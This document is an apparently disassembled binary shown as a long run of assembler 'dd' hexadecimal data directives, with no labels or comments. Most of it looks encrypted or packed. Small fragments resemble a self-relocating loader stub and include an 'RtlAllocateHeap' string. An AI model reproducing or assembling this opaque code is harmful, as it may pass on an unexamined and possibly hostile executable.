		dd 12566043h, 0E8123802h, 4ADB1564h, 4D321566h,	0ECBBF3AEh
		dd 0D6FC0815h, 0DDB759FAh, 4ACAD6FEh, 113261B0h, 611619EFh
		dd 4432156Eh, 6B883CA6h, 0AB951D06h, 0EE04EA00h, 608C7330h
		dd 561B737Eh, 4F541742h, 8D544D00h, 0C43D0D42h,	2232156Fh
		dd 0B514AE06h, 50B9386Bh, 4BF12907h, 223350E2h,	0AE3D7566h
		dd 46B373A8h, 78539809h, 11B61AADh, 1E321567h, 88321DECh
		dd 0C43D7566h, 22321566h, 1EF02907h, 883340E2h,	4438FC66h
		dd 0A7BA1566h, 495091ABh, 9EDCF5B0h, 0C03DDF5Ah, 22321458h
		dd 11339469h, 0EEC71566h, 4B17EA5Bh, 223375E2h,	1ECB7566h
		dd 0EE53DAD1h, 4BCD3B5Bh, 223266E3h, 113AFC66h,	0D291566h
		dd 0A0B179D8h, 9961D651h, 11321564h, 0D415FEE7h, 0B7330513h
		dd 7E15D6E7h, 12B80513h, 43D753Dh, 44321565h, 44E59E00h
		dd 70C44EDEh, 0A8C2A037h, 603E9E8Eh, 0CB36D1E5h, 11321569h
		dd 2E7B1D14h, 80F0F237h, 73A19B26h, 0F8B8B50Ch,	88321575h
		dd 0FEC96400h, 1383E0B5h, 8FAAFCA2h, 4DE5313Bh,	7808527Dh
		dd 0D3B61AC6h, 0E8321566h, 0DD1619EDh, 81B3F0EFh, 22321562h
		dd 1136D0E7h, 0A4B51566h, 0AC524942h, 2232156Ah, 4F6C15AAh
		dd 0D8139FCAh, 96CB8D7Ch, 0ADDA9400h, 0E3864E75h, 0D0897507h
		dd 0B80E4760h, 26DE9407h, 98321566h, 168C3152h,	0C509703Ah
		dd 0F45CD4A8h, 0E6E4E268h, 57C494B0h, 0CD0DE218h, 24DB4B96h
		dd 48321566h, 3DB903EDh, 45A1FC77h, 0AE3D1566h,	11321564h
		dd 41037406h, 44239069h, 2D521566h, 16DBDED9h, 64321566h
		dd 0C357FB67h, 7353849Bh, 9A161199h, 4CB3316Ah,	44321562h
		dd 224AFC93h, 1E521566h, 883214E9h, 99B2E066h, 706474C6h
		dd 113216DCh, 0D2E49C66h, 4B6CE4EFh, 22321FE4h,	983D7566h
		dd 88321566h, 0AD53E6ECh, 2232152Ch, 71FD9E06h,	0A54DC5E7h
		dd 0C5543752h, 434A40ADh, 31647D07h, 96B3CC7h, 0E512458Fh
		dd 5DBEC4Fh, 0E4321566h, 0FE0DA833h, 8C8B5924h,	2381A8EFh
		dd 351E9E8Fh, 8836D1E7h, 0FB521566h, 458B5231h,	1E53E0D5h
		dd 883214EAh, 0E0C1EC66h, 2232068Fh, 5F98A266h,	2830CB98h
		dd 0E776F094h, 0DD6885EFh, 601D329Ch, 0A77798EDh, 0CB3D12B5h
		dd 2232157Fh, 1132018Fh, 5BDF1366h, 0C46CFF30h,	0C7C67E65h
		dd 702AF130h, 982FA059h, 4BBB1A39h, 0CB321566h,	1132156Ch
		dd 734373A8h, 0F5C7C6DCh, 0EBB7D157h, 11719069h, 61521566h
		dd 44321576h, 0FDF7B646h, 0F662912Dh, 9FD8AC7Dh, 0C1F71463h
		dd 67879C07h, 1E35C649h, 883212E6h, 45B71A66h, 0D7321566h
		dd 1132018Fh, 0A6571A66h, 0A5FF05DDh, 9D3B9FC2h, 68E5ED9Dh
		dd 11525530h, 6006EA4Bh, 26F6943Fh, 71321566h, 9C0AA69h
		dd 0A68C9AFh, 4A677453h, 16C86830h, 91639EDh, 443211A2h
		dd 77DF9466h, 9835EF1Bh, 0EE52488Eh, 0AD25CADCh, 22321576h
		dd 96B59A2Ch, 0E6B286A9h, 0BA7D4FA6h, 0B5CA2E8Bh, 77CED607h
		dd 3542399h, 80B13162h,	0E10EEC64h, 10BB9169h, 0D9CE1566h
		dd 0CCF09D34h, 0E9BA4FB7h, 1FDB753Fh, 94321566h, 55D4B5D0h
		dd 0A7475378h, 0B90A2C0Eh, 8080428Bh, 0F660743Fh, 72F0EBF6h
		dd 0B73666D6h, 86AD766h, 971253A4h, 0D9B2ED3Ch,	8AB61A16h
		dd 61321565h, 4432156Eh, 0DEE85B68h, 63B9D021h,	0C3DFC5Ah
		dd 44321455h, 22389A69h, 71521566h, 56D29407h, 25507D1Dh
		dd 0A63DFE5Ah, 1132147Dh, 87F02993h, 443307E2h,	0E90EED66h
		dd 103B9169h, 0EECB1566h, 4B17EA5Bh, 2232EBE2h,	1DA7566h
		dd 0B0321566h, 0E73DCCCh, 0B591FFEBh, 757DB533h, 0EE432BF7h
		dd 0BC6BEDEDh, 2DF82907h, 1132CFE2h, 80BD1A66h,	4B321566h
		dd 223217E2h, 2D537566h, 9FB61A85h, 0AD321565h,	22321574h
		dd 0BE75A3DBh, 0FF004DA8h, 65CB0CD0h, 0A8622483h, 2C541A8Bh
		dd 0D3DEA48h, 44321500h, 208B449Eh, 10321566h, 3339F97h
		dd 80B3316Ah, 22321562h, 0E981759Eh, 0B53C2EDh,	48BB118Ah
		dd 0A228A442h, 0F8B2058Fh, 0D1FA357Ch, 44339769h, 42CA1566h
		dd 489EAC00h, 88B21A37h, 1D321566h, 2D922907h, 11324FE2h
		dd 13D7566h, 44321576h,	22321E8Fh, 654DFE66h, 34BB02A8h
		dd 45DF89D3h, 42C09400h, 0AA617481h, 88321566h,	0CDE89C34h
		dd 0DA694FB6h, 11327B8Fh, 82DA7566h, 7A321566h,	75A244Bh
		dd 0CAE10EEh, 0D207A1D7h, 44229669h, 28DA1566h,	58321566h
		dd 40D133AFh, 83A8B57Ch, 0AB534F57h, 0C21D50D3h, 883CFC61h
		dd 94C21566h, 719CB904h, 2779543Eh, 0EF5FC820h,	0C93088EBh
		dd 0AD3D12B9h, 1132156Ch, 876C4606h, 443215E7h,	0F1CD7466h
		dd 77F19E06h, 0E053C3EDh, 44321567h, 0A11611EDh, 0D2CA11A2h
		dd 8832018Fh, 7AFC2866h, 1333ACF6h, 0FC32452h, 4CDB3DC0h
		dd 0EC3B6887h, 0C2BB4522h, 11321163h, 88363866h, 40B51566h
		dd 26BB4942h, 10BB1A42h, 70321566h, 0C5226399h,	7C5B314Ah
		dd 15B9203Fh, 8CF69442h, 41321566h, 176B4B0Fh, 9054759Ah
		dd 36E442A0h, 604BA943h, 1BB79C07h, 0E435C679h,	0D0162199h
		dd 4436D1E7h, 0A53D1566h, 11321567h, 5E89759Eh,	0F757C7D6h
		dd 575A7430h, 98321519h, 948A3162h, 45321566h, 0A73D4DA0h
		dd 1132157Dh, 88279969h, 54DB1566h, 0A8321566h,	0A5316E80h
		dd 0F99C2FBCh, 6526DBD5h, 0AFB804DCh, 0C20698DBh, 619FE961h
		dd 44321569h, 1C550132h, 0F2A93EE9h, 18E96709h,	2497ABFAh
		dd 22321D8Eh, 0E210AB66h, 19330C48h, 99DBAEB7h,	2D6D5A3Dh
		dd 113217E8h, 0E96A4366h, 0FD22B54Bh, 47FC1010h, 55312323h
		dd 461F3142h, 41045003h, 548B05C6h, 1132198Fh, 0CF5A8666h
		dd 87EA5907h, 2AA3B36Fh, 933DBED8h, 88321563h, 0BDF19E06h
		dd 638F9807h, 7135C661h, 88239269h, 48DB1566h, 45321566h
		dd 58A2BB8Dh, 0C2B39B78h, 0C5A596ABh, 405948BFh, 0ED9F7404h
		dd 8339463h, 2AF21070h,	66314B8Ch, 0D11F3142h, 0A56CFF08h
		dd 52B214E7h, 2232108Fh, 7300B066h, 735A65A0h, 0CD321503h
		dd 0A53D3162h, 11321567h, 3152BE9Fh, 79A79686h,	2232188Fh
		dd 691EC066h, 0BD843E5Ah, 7924B06Ah, 0AF538319h, 0C226F0DBh
		dd 42B97561h, 4432188Fh, 8BA7166h, 2111FE0Ch, 431073D7h
		dd 0E9539448h, 0A33D7506h, 11321566h, 88329F69h, 25531566h
		dd 6394AB30h, 0E11B71BFh, 0AC761638h, 594104Eh,	0A53D71BFh
		dd 11321567h, 70CBBE93h, 1A162199h, 2236D1E7h, 90521566h
		dd 6AD292B0h, 0A7B37347h, 4253F107h, 0A8F3AA69h, 0E73E911Dh
		dd 0C83DD607h, 22321574h, 1132188Fh, 8BF49266h,	0B6250477h
		dd 97BE4624h, 9865550Ah, 8CF59481h, 0C5321566h,	22321189h
		dd 350E9266h, 0AC069C3Ah
		dd 56AF9893h, 0D735CAEAh, 113B9769h, 0D9521566h, 7C42AF39h
		dd 0DD532BA2h, 1121FCB5h, 4AF31566h, 7522DA68h,	0B108E473h
		dd 0E445123Bh, 68DED62Bh, 0B916FCC2h, 8B52EA99h, 0CEDF61DAh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0A51C84C0h, 0A8ED96A5h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 426A84ECh, 0C932DCF1h
		dd 0BA8DF5B8h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 0B4398738h, 0DF07462Dh, 5348C33Fh, 3C6D5h, 5492B85Eh
		dd 3075152Ah, 5CDDAEAEh, 0D4688FA7h, 0D9FB5642h, 0A51888B0h
		dd 0DD7BAEA5h, 5863E96Fh, 0ABA851A2h, 3075195Fh, 0BA32DCAAh
		dd 168DF5BBh, 0C635CB2Fh, 967512CAh, 0BD54142Bh, 458A152Ah
		dd 0A8EDDAC3h, 4582D7E3h, 3044BAh, 2AE900h, 4C70000h, 24h
		dd 0E800h, 815D0000h, 0E0976DEDh, 24448B07h, 9858904h
		dd 0B807D300h, 0
		dd 4DB18D8Dh, 0E1FF07D3h, 6754B8h, 3BE900h, 8B600000h
		dd 0D307D5BDh, 4EF8307h, 0C18BC933h, 0B88320BBh, 4C783EDh
		dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h
		dd 100F9h, 0D3820F00h, 61FFFFFFh, 0E9C88BC3h, 97h, 8B030B00h
		dd 2B231B13h, 32A90033h, 3247006Ah, 3206006Ah, 30A4006Ah
		dd 30B6006Ah, 30CC006Ah, 30F3006Ah, 3112006Ah, 3127006Ah
		dd 31EC006Ah, 3223006Ah, 32BE006Ah, 3161006Ah, 3180006Ah
		dd 31A3006Ah, 32E7006Ah, 3293006Ah, 0C0E8006Ah,	0D0E0C8F0h
		dd 33032BD8h, 129230Bh,	4290931h, 8000000h, 5E98308h, 0CB8BA4F3h
		dd 26BECE03h, 57B13240h, 0ABA1B459h, 0DE583256h, 81B13256h
		dd 518ADB6Fh, 20843E73h, 0B13A6EECh, 0AEB1DAAEh, 0D6EB3256h
		dd 740C16BCh, 60E75251h, 0E7596D7Dh, 0F305E983h, 11F1B0A4h
		dd 0FD7AF29Dh, 17FB2375h, 0FA9A251Bh, 0F53FD525h, 6523ADFDh
		dd 34229095h, 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h
		dd 1DE33398h, 1DFFA072h, 5E983E2h, 0DB8BA4F3h, 0EBC6BD8Dh
		dd 8D8D07E0h, 7E174ADh,	156644B8h, 0C1CF2B32h, 73102E9h
		dd 0C783C8D0h, 0F6754904h, 0CB8B6660h, 6DD98166h, 13E96196h
		dd 0A8000000h, 0CA39EAE3h, 863837A3h, 2C348606h, 980A1249h
		dd 13E9BD09h, 0D3000000h, 583A14A9h, 0CDEA0FEh,	7D5E9104h
		dd 0B090FF10h, 8B50CD36h, 0C4832404h, 10E904h, 57000000h
		dd 219A183h, 3D88CD41h,	4198D2F1h, 0E9601E8Bh, 12h, 0D6F9D433h
		dd 1584AE97h, 43875BD6h, 0F2905139h, 83618975h,	0D313B1BDh
		dd 9750007h, 273DBD83h,	740007D3h, 8B535019h, 411B8C0h
		dd 85890000h, 7D309C9h,	28709D8Dh, 0D3FF07DBh, 0BD83585Bh
		dd 7D3273Dh, 50177400h,	411B853h, 85890000h, 7D309C9h
		dd 25119D8Dh, 0D3FF07DBh, 8D0F585Bh, 1,	0E860F8F9h, 0Dh
		dd 6EBD750Eh, 3682561Bh, 0DEBC1CEFh, 5FFB8BF0h,	8A0F53h
		dd 59000000h, 4815061h,	40345A24h, 24048B45h, 4C481h, 5A2D0000h
		dd 0FC454034h, 2DE9F8h,	2F610000h, 21A1h, 9 dup(0)
		dd 0E9000000h, 656h, 0E179CE68h, 23B4E907h, 8568FFF5h
		dd 0E907E17Ah, 0FFF523AAh, 0E17C6C68h, 23A0E907h, 55CEFFF5h
		dd 0D351600Eh, 48CFDA94h, 0D44C5B13h, 4ACCDB93h, 71A5915h
		dd 9F4F8C92h, 1BD31410h, 0A04E918Ch, 1FCF1011h,	9965D48Eh
		dd 0EA3270B3h, 0F5CCBD86h, 9DF6FB3Ch, 1E5DC3DEh, 4F001844h
		dd 9EC60D0Ch, 1819A4EDh, 3CCFFBD7h, 2DDDD6D7h, 27013D2Eh
		dd 7DD69A98h, 0EADF07D2h, 5F2913B0h, 0DA07EDFBh, 0D07E6724h
		dd 0C32043C3h, 34EEC19Fh, 7EF7CB6Eh, 0EB483A51h, 0E2169388h
		dd 0D981678Eh, 696F32F7h, 0D96ABD24h, 0EE69C790h, 35197C85h
		dd 7879E358h, 1E49151Ch, 9415A306h, 1798CC1Fh, 6B7B0F3Bh
		dd 4BCB6295h, 4FC30550h, 0D2C937ACh, 0EE3100E2h, 0EC3608B1h
		dd 0B722A3B4h, 0A3B4ECCBh, 9BF8AF1Ch, 40E97E0h,	0C70C0000h
		dd 0CC96744h, 615D0CE6h, 0B23A522Bh, 0C9C8EB27h, 0A48E8DE6h
		dd 648D6435h, 771A91BCh, 0DC561C9Dh, 0E4ADD245h, 2099100Bh
		dd 996E49C9h, 5F8F3212h, 13A97A9Dh, 0AB6882Fh, 0AC07397Bh
		dd 86614847h, 97A54CCDh, 1DDBBEB8h, 2CCB7AEFh, 0DB4BED8h
		dd 19C0A223h, 5C84CFD8h, 0F4CD35Eh, 0B9C56D5Ch,	19CC81F9h
		dd 0F3BC704Bh, 27928015h, 76E87E5Bh, 0DDA43FACh, 577B5AF4h
		dd 4D6EA679h, 4F65B4Eh,	553B3183h, 8A2F54D2h, 15439517h
		dd 0B27DD76Fh, 2EA3AE76h, 0ACEE07B1h, 0E8435447h, 0D859E80Ah
		dd 2F9DA97h, 8985A65Fh,	0CD0427DEh, 42F9EA49h, 0E827FCFDh
		dd 4D000003h, 0D2DD91D6h, 4C5B1350h, 0CFDA94CBh, 4F5A1457h
		dd 99DC92C9h, 0D00F1184h, 5497931Eh, 0D1120F9Ah, 5093921Dh
		dd 0E651119Eh, 3270B21Ch, 0CC3A036Dh, 49C93CF5h, 0EB886B26h
		dd 89BB530h, 678BE817h,	73B300h, 55BAAC5Ah, 9D006C2Ah
		dd 2D712D1h, 4DE4DC2h, 7AD7DD8h, 8A81D330h, 0D80719A8h
		dd 56859B26h, 0E73A507Ch, 0C64865D6h, 0C9197CD5h, 0E49F0A96h
		dd 0DA99C2BEh, 1249CF62h, 0C577744Fh, 0E95CD46Bh, 0A7080936h
		dd 0B16A454Ch, 15164138h, 0AE193770h, 0D9A868D4h, 54D3080Fh
		dd 926CDBF7h, 0E3D9A868h, 75049388h, 0F2467BBCh, 0A2F9297Ch
		dd 33190E7h, 9D960000h,	1B19A856h, 809722DCh, 1C14A35Bh
		dd 829423DBh, 4FE2A15Dh, 671744DAh, 0E39BDC58h,	681659D4h
		dd 0E797D859h, 512D9CD6h, 0A23270B1h, 113F754Eh, 1C2B8EB4h
		dd 0F5034D72h, 0B8E9E925h, 1329E95Ch, 0DD52A23Dh, 0F06736Eh
		dd 0CCE2C94Ch, 0E200345Dh, 6A2353F6h, 8F2A70E2h, 8D5497h
		dd 8E22DF00h, 2497D1F7h, 0D9A5142Eh, 2ACA4D54h,	4D8BCAC1h
		dd 2519C0A2h, 11CA4D54h, 4D54DCA6h, 9BE2DCAh, 8FA8F1AAh
		dd 0C5F96190h, 6F0F95A5h, 79720761h, 207BEh, 1A1BA500h
		dd 8C8518D9h, 628B36Bh,	5F34A3BFh, 984F093Ah, 73ACF34Ch
		dd 0C06FA6Fh, 0AB202A5Dh, 898F2240h, 37348F52h,	23FE8FFAh
		dd 0C9CB339Dh, 111EBD97h, 22B6882Fh, 2FF18CDEh,	198EF1F0h
		dd 0A17BC1BAh, 11D0130Eh, 67CCBDAEh, 69F2D60Ah,	2F1D5ED6h
		dd 0EF1435FAh, 0EACBC0B2h, 0E62AAC69h, 55FABF55h, 1885658Bh
		dd 7909AEC4h, 9D4B37A2h, 2F9C26E6h, 47FB3Ch, 3F600000h
		dd 0B48EB411h, 0FF0225DDh, 7170B372h, 25DCB50Eh, 0F8A00902h
		dd 0A70C51DBh, 0BE3941D8h, 726BA2Fh, 52D932A1h,	928DF8F9h
		dd 33EC4E8Ch, 73FD5D52h, 225D7F62h, 9718FA78h, 839478DEh
		dd 0DE2D1A54h, 0CFh, 521A1BC5h,	0D687F9FDh, 858CE728h
		dd 0F8F926F8h, 868BAC65h, 5F93AFBh, 6F2447A2h, 7A2F5C54h
		dd 83E63C70h, 3A51D21Dh, 2B4CC550h, 0C4BE2947h,	0FFCD9F17h
		dd 962E506h, 0EF414C12h, 17000265h, 0E251CD9Fh,	17655900h
		dd 5DB6CD9Fh, 196DDCF6h, 6C99C171h, 5E5D4E91h, 0CF6617Fh
		dd 5DA49C2Eh, 5C3FFDEEh, 0D371B5Dh, 0D0F261D6h,	0EEA0DF41h
		dd 17EB4E74h, 683C0141h, 7E80E70Bh, 0CF3C0141h,	41AA764h
		dd 5564EAD7h, 49485B82h, 14AEAh, 2F74AF00h, 0B5F2303Fh
		dd 3269AEB9h, 0B2F52D3Ch, 346BADBCh, 73E6FB3Ah,	0F1806EADh
		dd 6DFCF235h, 0F07F6FB0h, 6F00EE31h, 0AF7A44F3h, 65CB3270h
		dd 0D6051BDCh, 0CBEC25FCh, 22E38ED0h, 1B640D01h, 26F9D91Ah
		dd 0E6C9C8EBh, 9051F406h, 0FAF1879Eh, 0C8EB2A37h, 3261CFD6h
		dd 63847DECh, 139E0100h, 5171D211h, 1207E2E6h, 0A86F4295h
		dd 56156E73h, 97B8D73h,	6DB27DE4h, 0E5583D2Eh, 3481E28Eh
		dd 132F9C13h, 0A9659A7Ch, 0FCF25D26h, 0A678472Ch, 64177879h
		dd 81AFF765h, 0BE158CECh, 0E5FEBFAAh, 0E49ADD54h, 361C43D5h
		dd 67D1AD1Ch, 0C92281ACh, 94A87FD2h, 1B000000h,	8EB4113Fh
		dd 356E192Bh, 0E492F8C6h, 0D902E59h, 3A9D1CF8h,	0F8F952D9h
		dd 678BAC65h, 601B5CD8h, 1F92931Eh, 0DFC0C1E2h,	2E95D652h
		dd 0FE9E4633h, 0B3BDC866h, 0BBE6CA07h, 0E1503295h, 32A11212h
		dd 8B80A35Fh, 5B92B72Ah, 875568ABh, 3BFA4680h, 0BA7B06F8h
		dd 2DE57879h, 67E4DE89h, 0D635BB7Ah, 68714DFCh,	69C2BB7Ah
		dd 2271070Ah, 569998A4h, 4C73A57Ch, 0A1600F4Fh,	50CD647Eh
		dd 0C63F520Fh, 6003DCA5h, 891E6ABh, 0B2000000h,	1C16A9C9h
		dd 1B7F24D7h, 8B16DB18h, 15A8698Ah, 871AD718h, 14A9688Bh
		dd 8914DD02h, 14A96897h, 8B16DB1Ch, 17AA6794h, 651BD61Dh
		dd 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 89502424h, 405E0h
		dd 42D0000h, 87000000h,	895C2404h, 85682414h, 89000016h
		dd 0B850242Ch, 65E40818h, 7BE9BF57h, 0E7815A2Ah, 23A105Ch
		dd 0F209C781h, 0F8317910h, 6E8C15Fh, 417C2548h,	0DB2D2E30h
		dd 89F84EC7h, 0C16858C2h, 8900001Ch, 4812424h, 424h, 61685D00h
		dd 89000078h, 458F2414h, 242C8B08h, 81E18951h, 4C1h, 4C18300h
		dd 5C240C87h, 5224148Bh, 0C281E289h, 4,	8704C283h, 0E95C2414h
		dd 0FFF51D72h, 100B82FDh, 72FFA27Dh, 0DBB8DECBh, 307E17Dh
		dd 22E0FFC5h, 953D3B5Bh, 356204CAh, 0A961D1EDh,	16367311h
		dd 892F9782h, 4D443E32h, 8F366979h, 0C00C4D8Fh,	753B5646h
		dd 0DF346C0Ch, 7B0912A7h, 2A26D70Dh, 0DB3367E0h, 2811F4ACh
		dd 0C44AABC2h, 76088475h, 1100B373h, 4E35D7CAh,	3B2C2A82h
		dd 431E7858h, 0CD2C0E49h, 0E210AAEFh, 0D60CB962h, 0A449E49h
		dd 643539F1h, 0A2349573h, 0E8024C47h, 11h, 0C05149ADh
		dd 0E7433527h, 0C8EEFA94h, 0E06E60BFh, 0F9BB6696h, 0F6059E1h
		dd 18Fh, 8E0FFC00h, 6, 2E0FE081h, 81614AB8h, 61E4C1h, 0B2F63300h
		dd 31048BCDh, 12850Fh, 0AE80000h, 59000000h, 902F20D7h
		dd 482C4580h, 5B5F526Ah, 3AE9E881h, 8DB711D0h, 0F6A2E881h
		dd 0F88B0EAFh, 0EC33F081h, 0DE802E7Dh, 8B6650D0h, 31048FD3h
		dd 0BBD1B70Fh, 6896D4Fh, 6601EE83h, 4E5BB7BBh, 8E94E4Eh
		dd 7F000000h, 0E464F45Ch, 81C4C406h, 0FF9EB8FEh, 9A850FFFh
		dd 0BFFFFFFFh, 0F97D129h, 0EDE9h, 8C666000h, 0F04A8D8h
		dd 0DF84h, 0E9B58B00h, 8307D31Bh, 850F00FEh, 22h, 18D185C6h
		dd 684507D3h, 8E726969h, 165B5FFh, 858D07D3h, 7DC036Ah
		dd 8589D0FFh, 7D300FDh,	3E80F08Bh, 31850FE9h, 8D000000h
		dd 0DE23F485h, 8BD0FF07h, 0D32E4DBDh, 84C78107h, 8B000011h
		dd 0D31BE9B5h, 0B9F78707h, 8, 0B58BA4F3h, 7D31BE9h, 3C38858Dh
		dd 0D0FF07DCh, 17F5B58Bh, 0FE8307D3h, 22850F00h
		dd 0C6000000h, 0D318D185h, 0F4685407h, 0FFFF4EBEh, 0D30165B5h
		dd 6A858D07h, 0FF07DC03h, 0F58589D0h, 8B07D317h, 0E93E80F0h
		dd 3A850Fh, 0B58B0000h,	7D317F5h, 23F4858Dh, 0D0FF07DEh
		dd 2E4DBD8Bh, 0C78107D3h, 1184h, 8B08C783h, 0D317F5B5h
		dd 0B9F78707h, 8, 0B58BA4F3h, 7D317F5h,	3C38858Dh, 0D0FF07DCh
		dd 858DC361h, 7E17FA4h,	2E258589h, 8D8D07D3h, 7E18129h
		dd 0D2D8D89h, 8D8907D3h, 7D32941h, 0B0CFD081h, 9D8923FFh
		dd 7D31211h, 2BA185C7h,	5D4807D3h, 0EF810000h, 3D05B2A7h
		dd 331185C7h, 7D3h, 0B70F0000h,	10E9F3h, 7F670000h, 75043090h
		dd 1FE1D66Bh, 0B9595F01h, 0B5FF80C8h, 7D323C9h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 13C35242h, 66BE833Eh
		dd 8BF4A1BEh, 0D316EDBDh, 3D95FF07h, 6A07D32Dh,	1995FF00h
		dd 8B07D330h, 2D38EBC0h, 775196D3h, 252DEA8Fh, 3A3E187Bh
		dd 76F566CAh, 0A1144EE0h, 73B2C684h, 0AA63F6E8h, 9700DB42h
		dd 45316028h, 0F569E03h, 193EE9A2h, 1D8476F1h, 4953D569h
		dd 0E9B18C8Fh, 3Fh, 284E3CA2h, 416C7452h, 636F6C6Ch, 48657461h
		dd 706165h, 140000h, 9 dup(0)
		dd 0E9000000h, 18D4h, 0E1842568h, 8A0DE907h, 0C668FFF3h
		dd 0E907E185h, 0FFF38A03h, 0E1894C68h, 89F9E907h, 0E68FFF3h
		dd 0E907E18Bh, 0FFF389EFh, 0E1902B68h, 89E5E907h, 1D68FFF3h
		dd 0E907E191h, 0FFF389DBh, 0E1915C68h, 89D1E907h, 0E568FFF3h
		dd 0E907E192h, 0FFF389C7h, 0E193C368h, 89BDE907h, 9F68FFF3h
		dd 0E907E194h, 0FFF389B3h, 0E196F568h, 89A9E907h, 9668FFF3h
		dd 0E907E198h, 0FFF3899Fh, 4FA7B722h, 0D91D2D9Ah, 45B1C174h
		dd 0D42434A8h, 43B3C377h, 0F6ACB740h, 0EB5D12E6h, 0FDAE1BDBh
		dd 0F26409EDh, 478616E2h, 60549BA6h, 0FAB9EB5Bh, 0A315259Dh
		dd 859549A7h, 0CB7BD873h, 4D6B3DBBh, 0DC1E2EA0h, 7280AE51h
		dd 222BC1F8h, 74843798h, 586F5886h, 0BCCC7AD9h,	0A14E6C3Eh
		dd 74D91D2Dh, 0A54AAEBEh, 84944631h, 6CF7B476h,	48F36AD6h
		dd 933CBE0Ch, 39B81323h, 7EE7A998h, 0EFC9DD53h,	350BD507h
		dd 5F741796h, 1C2CA17Ch, 2F33168Fh, 0AAC02289h,	0D9A0285Ah
		dd 0BB8FCE16h, 37B9F1D2h, 0CED099DEh, 9442A12Ch, 9D573684h
		dd 0C317422Dh, 33E72337h, 97A71675h, 0C0F1C761h, 16008CDDh
		dd 280FC472h, 8E45A293h, 12983C7Eh, 0CF6D16C5h,	65h, 10E6BC6Fh
		dd 3B501CBDh, 0A5244C14h, 196BFD04h, 0AA1A896Dh, 238A309Ah
		dd 7F19FBC4h, 0B708DB8Ah, 195CDB4Fh, 41B87385h,	4DED92A5h
		dd 6DD2115Fh, 0C4C4A8D9h, 0FF78F251h, 13928338h, 7F101B4h
		dd 0B976A41h, 0DBEFFB93h, 0C5E5F5DDh, 9235CE52h, 0C0E1412h
		dd 0B48F2E67h, 0D2FB93C8h, 0B4C0FAD0h, 117h, 85954954h
		dd 3848FA73h, 89990DC2h, 0CF7FDC6Fh, 7E6F39BFh,	703AC0D0h
		dd 2431A54Ah, 7ED37E85h, 54760853h, 7AE905A4h, 0C66B9DC0h
		dd 7C19A0D7h, 77B7EACDh, 8B3F9C32h, 0DAB7D7Bh, 0A5B52986h
		dd 1A2A9C51h, 6FCC4DE0h, 8147B1C1h, 7ED8572Ah, 1D9B2F53h
		dd 6F786D23h, 259F6554h, 5CFDD0FAh, 0E2E8B5B2h,	470300E6h
		dd 1B2F4E4Dh, 914F2C7Bh, 43758532h, 9165F930h, 20AB814Fh
		dd 6D576781h, 4C40E12Dh, 7EFD8D25h, 0B9F2C1DDh,	3A807BE1h
		dd 3EB9A453h, 0CF85E210h, 496F39BFh, 6ADC3B4Ah,	0B00AA05Ah
		dd 8DEAE1E5h, 7CF10515h, 0E98597C6h, 2C679581h,	0FA0010C3h
		dd 0A7439A30h, 0FE65F762h, 1595096Ch, 0B5240000h, 2B9C51A5h
		dd 0BF6EDB1Bh, 32A247AFh, 0C179D622h, 0B94245B1h, 0CECFCAEh
		dd 15E1F15Fh, 3F303B8h,	10E8F866h, 19E88928h, 6D5B6057h
		dd 0A6271B3Bh, 7ED2FC07h, 0B3F88A53h, 766E45F0h, 0C62791BEh
		dd 57F40414h, 58E0B8E7h, 0FA60A154h, 274028D0h,	0E8ABB484h
		dd 7F394DDAh, 92390FC1h, 0EFA390F3h, 258D2EDCh,	0A6B629A0h
		dd 4C357654h, 208B2D23h, 5D20AF28h, 0A8B82784h,	2E427852h
		dd 0B9BD7E0Fh, 66D73499h, 0B406A456h, 73E586FFh, 4F26E736h
		dd 6102C9FFh, 9B8B33D7h, 5969D751h, 0CBF099Fh, 0BED7966Dh
		dd 4C6EF0B9h, 0B570FFAEh, 0B0E67508h, 7BCC11A9h, 1C2C9FFCh
		dd 58FEF9Eh, 0D80B2857h, 5A80D8EFh, 871B1AD4h, 114h, 22842797h
		dd 3D569A42h, 0B01ECFE9h, 3DF55AA0h, 8A419E2Dh,	10AA807Ah
		dd 6EA243EAh, 9DC0546Fh, 0D978DFF4h, 40BACA7Ah,	1940506Ah
		dd 0A8160849h, 0C50D9033h, 17805307h, 0BD3298A8h, 0B6BDFB0Bh
		dd 0D4E458B7h, 0B916A426h, 57D6F505h, 5CB0CBB6h, 11A7BBACh
		dd 0A7D688E5h, 0C090C5D6h, 0C33593A9h, 0CEFDD37Dh, 0A5B3D02Fh
		dd 0A877C69Ch, 6607CA71h, 6B82794h, 8021A0DFh, 2ABC7C81h
		dd 2434A605h, 547654D6h, 12E8BAA4h, 66DD3ABBh, 26296456h
		dd 70876B48h, 0CA14D600h, 67DB383Fh, 0B107A157h, 0F2A7D0FAh
		dd 0BBCFC6CEh, 82329110h, 1AEDD475h, 599EFF4h, 62D8F5C3h
		dd 0C827A652h, 58F50313h, 0C6F4D6E6h, 3AA1B129h, 38AA9DB8h
		dd 0F4F65DF3h, 83000013h, 0BD32C6D6h, 51FEFA0Ah, 0BF2CCCDCh
		dd 54F9FD0Dh, 5F2ACEDEh, 919919Ch, 0C0D080EDh, 10209338h
		dd 0C3D383E8h, 0C5646333h, 5B6057BEh, 49B898C8h, 2939A691h
		dd 5DCF2C9Fh, 0DE8B6B4Dh, 0B0986070h, 0FC07A627h, 8A537ED2h
		dd 990DC2F8h, 5DDC6F89h, 7ED2C5BCh, 0FBBDC153h,	795464D2h
		dd 0CB79A81Ah, 38C8073Fh, 1A02B9Dh, 537EF102h, 20B80284h
		dd 0C5A7C169h, 27008B3Dh, 0CA71A290h, 2CB06BCh,	0F5CC6DECh
		dd 9107102Bh, 0FBE8AB0Dh, 0ECBB3B4Bh, 92A20E6Dh, 0F8CBE268h
		dd 0C607102Bh, 102C1C27h, 3D586A07h, 0F05E8F29h, 1B51AE0h
		dd 0F56607F1h, 0EE5A13E5h, 96F1CDEh, 2626BDCFh,	0F90E5343h
